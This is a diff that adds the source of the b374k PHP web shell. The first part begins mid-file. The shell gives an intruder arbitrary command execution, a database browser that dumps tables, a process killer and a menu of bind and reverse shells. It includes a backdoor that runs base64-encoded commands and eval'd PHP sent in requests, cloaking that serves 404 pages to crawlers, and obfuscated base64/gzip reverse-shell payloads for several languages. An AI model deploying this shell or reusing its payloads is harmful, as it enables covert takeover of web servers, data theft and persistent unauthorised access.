"; + $i_buffs = explode("\n\n", $i_buff); + $s_result .= ""; + $i_head = explode(" ",$i_buffs[0]); + foreach($i_head as $h) $s_result .= ""; + $s_result .= ""; + $i_buffss = explode("\n", $i_buffs[1]); + foreach($i_buffss as $i_b){ + $i_row = explode(" ",trim($i_b)); + $s_result .= ""; + foreach($i_row as $r) $s_result .= ""; + $s_result .= ""; + } + $s_result .= "
".$h."
".$r."
"; + $s_result .= "
"; + } + } + $phpinfo = array( + "PHP General" => INFO_GENERAL, + "PHP Configuration" => INFO_CONFIGURATION, + "PHP Modules" => INFO_MODULES, + "PHP Environment" => INFO_ENVIRONMENT, + "PHP Variables" => INFO_VARIABLES + ); + foreach($phpinfo as $p=>$i){ + $s_result .= "

".$p."

"; + ob_start(); + eval("phpinfo(".$i.");"); + $b = ob_get_contents(); + ob_end_clean(); + $a = strpos($b,"")+6; + $z = strpos($b,""); + $body = substr($b,$a,$z-$a); + $body = str_replace(",",", ",$body); + $body = str_replace("&","&",$body); + $body = str_replace(";","; ",$body); + $s_result .= "
".$body."
"; + } + } // working with database + elseif(isset($_REQUEST['db'])){ + // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo + $sqlhost = isset($_REQUEST['sqlhost'])? ssc($_REQUEST['sqlhost']) : ""; + $sqlport = isset($_REQUEST['sqlport'])? ssc($_REQUEST['sqlport']) : ""; + $sqluser = isset($_REQUEST['sqluser'])? ssc($_REQUEST['sqluser']) : ""; + $sqlpass = isset($_REQUEST['sqlpass'])? ssc($_REQUEST['sqlpass']) : ""; + $sqltype = isset($_REQUEST['sqltype'])? ssc($_REQUEST['sqltype']) : ""; + $show_form = true; + $show_dbs = true; + + if(isset($_REQUEST['connect'])){ + $con = sql_connect($sqltype,$sqlhost,$sqluser,$sqlpass); + $sqlcode = isset($_REQUEST['sqlcode']) ? ssc($_REQUEST['sqlcode']) : ""; + + if($con!==false){ + $show_form = false; + $s_result .= "
+ + + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + + if(!empty($sqlcode)){ + $querys = explode(";",$sqlcode); + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = sql_query($sqltype,$query,$con); + if($hasil!=false){ + $s_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $s_result .= ""; + while($rows=sql_fetch_data($sqltype,$hasil)){ + $s_result .= ""; + foreach($rows as $r){ + if(empty($r)) $r = " "; + $s_result .= ""; + } + $s_result .= ""; + } + $s_result .= "
".@hss($r)."
"; + } + else{ + $s_result .= "

".$query.";    + [ error ]

"; + } + } + } + } + else{ + if(($sqltype!='pdo') && ($sqltype!='odbc')){ + if($sqltype=='mysql') $showdb = "SHOW DATABASES"; + elseif($sqltype=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; + elseif($sqltype=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; + elseif($sqltype=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; + elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showdb = "SELECT \"".$sqlhost."\""; + else $showdb = "SHOW DATABASES"; + + $hasil = sql_query($sqltype,$showdb,$con); + + if($hasil!=false) { + while($rows_arr=sql_fetch_data($sqltype,$hasil)){ + foreach($rows_arr as $rows){ + $s_result .= "

".$rows."

"; + $s_result .= "
"; + + if($sqltype=='mysql') $showtbl = "SHOW TABLES FROM ".$rows; + elseif($sqltype=='mssql') $showtbl = "SELECT name FROM ".$rows."..sysobjects WHERE xtype = 'U'"; + elseif($sqltype=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$rows."'"; + elseif($sqltype=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$rows."'"; + elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; + else $showtbl = ""; + + $hasil_t = sql_query($sqltype,$showtbl,$con); + if($hasil_t!=false) { + while($tables_arr=sql_fetch_data($sqltype,$hasil_t)){ + foreach($tables_arr as $tables){ + if($sqltype=='mysql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 0,100"; + elseif($sqltype=='mssql') $dump_tbl = "SELECT TOP 100 * FROM ".$rows."..".$tables; + elseif($sqltype=='pgsql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 100 OFFSET 0"; + elseif($sqltype=='oracle') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." WHERE ROWNUM BETWEEN 0 AND 100;"; + elseif($sqltype=='sqlite' || $sqltype=='sqlite3') $dump_tbl = "SELECT * FROM ".$tables." LIMIT 0,100"; + else $dump_tbl = ""; + + $dump_tbl_link = $s_self."db&connect=&sqlhost=".$sqlhost."&sqlport=".$sqlport."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqltype=".$sqltype."&sqlcode=".urlencode($dump_tbl); + + $s_result .= ""; + } + } + } + $s_result .= "
".$tables."
"; + } + } + } + } + } + sql_close($sqltype,$con); + } + else{ + $s_result .= "

Unable to connect to database

"; + $show_form = true; + } + } + + if($show_form){ + // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo + $sqllist = array(); + if(function_exists("mysql_connect")) $sqllist["mysql"] = "connect to MySQL - using mysql_*"; + if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $sqllist["mssql"] = "connect to MsSQL - using mssql_* or sqlsrv_*"; + if(function_exists("pg_connect")) $sqllist["pgsql"] = "connect to PostgreSQL - using pg_*"; + if(function_exists("oci_connect")) $sqllist["oracle"] = "connect to oracle - using oci_*"; + if(function_exists("sqlite_open")) $sqllist["sqlite"] = "connect to SQLite - using sqlite_*"; + if(class_exists("SQLite3")) $sqllist["sqlite3"] = "connect to SQLite3 - using class SQLite3"; + if(function_exists("odbc_connect")) $sqllist["odbc"] = "connect via ODBC - using odbc_*"; + if(class_exists("PDO")) $sqllist["pdo"] = "connect via PDO - using class PDO"; + + foreach($sqllist as $sqltype=>$sqltitle){ + if($sqltype=="odbc" || $sqltype=="pdo"){ + $s_result .= "

".$sqltitle."

+
+ + + + +
DSN / Connection String
Username
Password
+ + +
+
"; + } + elseif($sqltype=="sqlite" || $sqltype=="sqlite3"){ + $s_result .= "

".$sqltitle."

+
+ + +
DB File
+ + +
+
"; + } + else{ + $s_result .= "

".$sqltitle."

+
+ + + + + +
Host
Username
Password
Port (optional)
+ + +
+
"; + } + } + + } + } // bind and reverse shell + elseif(isset($_REQUEST['rs'])){ + //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + //$s_my_ip = $_SERVER['REMOTE_ADDR']; + $rshost = $s_server_ip; + + $rsport = "13123"; + // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win + $rspesana = "Press ' Go ! ' button and run ' nc server_ip port ' on your computer"; + $rspesanb = "Run ' nc -l -v -p port ' on your computer and press ' Go ! ' button"; + + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php + $rsbind = array(); + $rsback = array(); + + + $rsbind["bind_php"] = "Bind Shell - php"; + $rsback["back_php"] = "Reverse Shell - php"; + + if($s_perl){ + $rsbind["bind_pl"] = "Bind Shell - perl"; + $rsback["back_pl"] = "Reverse Shell - perl"; + } + if($s_python){ + $rsbind["bind_py"] = "Bind Shell - python"; + $rsback["back_py"] = "Reverse Shell - python"; + } + if($s_ruby){ + $rsbind["bind_rb"] = "Bind Shell - ruby"; + $rsback["back_rb"] = "Reverse Shell - ruby"; + } + if($s_win){ + $rsbind["bind_win"] = "Bind Shell - windows executable"; + $rsback["back_win"] = "Reverse Shell - windows executable"; + } + else{ + $rsbind["bind_c"] = "Bind Shell - c"; + $rsback["back_c"] = "Reverse Shell - c"; + } + + $rslist = array_merge($rsbind,$rsback); + + if(!is_writable($cwd)) $s_result .= "

Directory ".$cwd." is not writable, please change to a writable one

"; + $rs_err = ""; + foreach($rslist as $rstype=>$rstitle){ + $split = explode("_",$rstype); + if($split[0]=="bind"){ + $rspesan = $rspesana; + $rsdisabled = "disabled='disabled'"; + $rstarget = $s_server_ip; + $labelip = "Server IP"; + } + elseif($split[0]=="back"){ + $rspesan = $rspesanb; + $rsdisabled = ""; + $rstarget = $s_my_ip; + $labelip = "Target IP"; + } + if(isset($_REQUEST[$rstype])){ + if(isset($_REQUEST["rshost_".$rstype])) $rshost_ = ss($_REQUEST["rshost_".$rstype]); + if(isset($_REQUEST["rsport_".$rstype])) $rsport_ = ss($_REQUEST["rsport_".$rstype]); + + if($split[0]=="bind") $rstarget_packed = $rsport_; + elseif($split[0]=="back") $rstarget_packed = $rsport_." ".$rshost_; + + if($split[1]=="pl") $rscode = $rs_pl; + elseif($split[1]=="py") $rscode = $rs_py; + elseif($split[1]=="rb") $rscode = $rs_rb; + elseif($split[1]=="c") $rscode = $rs_c; + elseif($split[1]=="win") $rscode = $rs_win; + elseif($split[1]=="php") $rscode = $rs_php;; + $buff = rs($rstype,$rstarget_packed,$rscode); + if($buff!="") $rs_err = "

".hss($buff)."

"; + } + $s_result .= "

".$rstitle."

+
+ + + +
".$labelip."
Port
+ +   ".$rspesan." +
+
"; + } + $s_result = $rs_err.$s_result; + } // task manager + elseif(isset($_REQUEST['ps'])){ + $buff = ""; + // kill process specified by pid + if(isset($_REQUEST['pid'])){ + $p = ss($_REQUEST['pid']); + if(function_exists("posix_kill")) $buff = (posix_kill($p,'9'))? "Process with pid ".$p." has been successfully killed":"Unable to kill process with pid ".$p; + else{ + if(!$s_win) $buff = exe("kill -9 ".$p); + else $buff = exe("taskkill /F /PID ".$p); + } + } + + if(!$s_win) $h = "ps aux"; + else $h = "tasklist /V /FO csv"; + $wcount = 11; + $wexplode = " "; + if($s_win) $wexplode = "\",\""; + + $res = exe($h); + if(trim($res)=='') $s_result = "

Error getting process list

"; + else{ + if($buff!="") $s_result = "

".$buff."

"; + $s_result .= ""; + if(!$s_win) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + foreach($psln as $p) $s_result .= ""; + $s_result .= ""; + } + else{ + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + $tblcount = 0; + foreach($psln as $p){ + if(trim($p)=="") $p = " "; + if($tblcount == 0){ + $s_result .= " + "; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $s_result .= ""; + else $s_result .= ""; + } + } + $s_result .= ""; + } + } + } + $s_result .= "
action".trim(trim(strtolower($p)),"\"")."
kill".trim(trim($p),"\"")."".trim(trim($p),"\"")."".trim(trim($p),"\"")."
"; + } + } + else{ + if(isset($_REQUEST['cmd'])){ + $cmd = ss($_REQUEST['cmd']); + if(strlen($cmd) > 0){ + if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){ + $nd = trim($r[2]); + if(is_dir($nd)){ + chdir($nd); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + elseif(is_dir($cwd.$nd)){ + chdir($cwd.$nd); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + else $s_result .= "

".$nd." is not a directory"."

"; + } + else{ + $s_r = hss(exe($cmd)); + if($s_r != '') $s_result .= "
".$s_r."
"; + else $s_result .= showdir($cwd); + } + } + else $s_result .= showdir($cwd); + } + else{ + $s_result .= showdir($cwd); + } + } + + // print useful info + $s_info = ""; + $s_info .= ""; + $s_info .= " + +
".$s_system."
".$s_software."
server ip : ".$s_server_ip." | your ip : ".$s_my_ip; + $s_info .= " | Time @ Server : ".@date("d M Y H:i:s",time()); + $s_info .= " +
+ + + +
".trim($letters)." + +   + Change +   ".swd($cwd)." +
+ +   + Change +    + + + + +
+
+
"; + + + +} + +?> + + +<?php echo $s_title; ?> + + + + + + + + +
+ +
log out + +
+
+ +
+
+
+
+ +
+ +   + +
+
+ + +
+ + + \ No newline at end of file diff --git a/php/b374k/source/b374k-2.5.source.php b/php/b374k/source/b374k-2.5.source.php new file mode 100644 index 0000000..b8d7a6c --- /dev/null +++ b/php/b374k/source/b374k-2.5.source.php @@ -0,0 +1,2500 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $s_login = strtolower(md5(trim($_REQUEST['login']))); + if(strtolower(trim($s_pass)) == $s_login){ + setcookie("b374k",$s_login,time() + $s_login_time); + $s_auth = true; + } + } + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){ + $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; + foreach($_COOKIE as $s_k=>$s_v){ + setcookie($s_k,"",time() - $s_login_time); + } + $s_auth = false; + if(!empty($s_reload)) header("Location: ".$s_reload); + } +} +else $s_auth = true; + +// This is a feature where you can control this script from another apps/scripts +// you need to supply password (in md5 format) to access this +// this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43) +// give the code/command you want to execute in base64 format +// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=) +// example : +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE= +// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==) +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw== +// recommended ways is using POST DATA +// note that it will not works if shell password is empty ($s_pass); +// better see code below +if(!empty($_REQUEST['s_pass'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ + if(isset($_REQUEST['cmd'])){ + $s_cmd = base64_decode($_REQUEST['cmd']); + echo exe($s_cmd); + } + elseif(isset($_REQUEST['eval'])){ + $s_code = base64_decode($_REQUEST['eval']); + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + echo $s_res; + } + else echo $s_title; + } + die(); +} + +// block search engine bot +if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} +elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} + +// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; +$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; +$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; +$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; +$s_rs_win = "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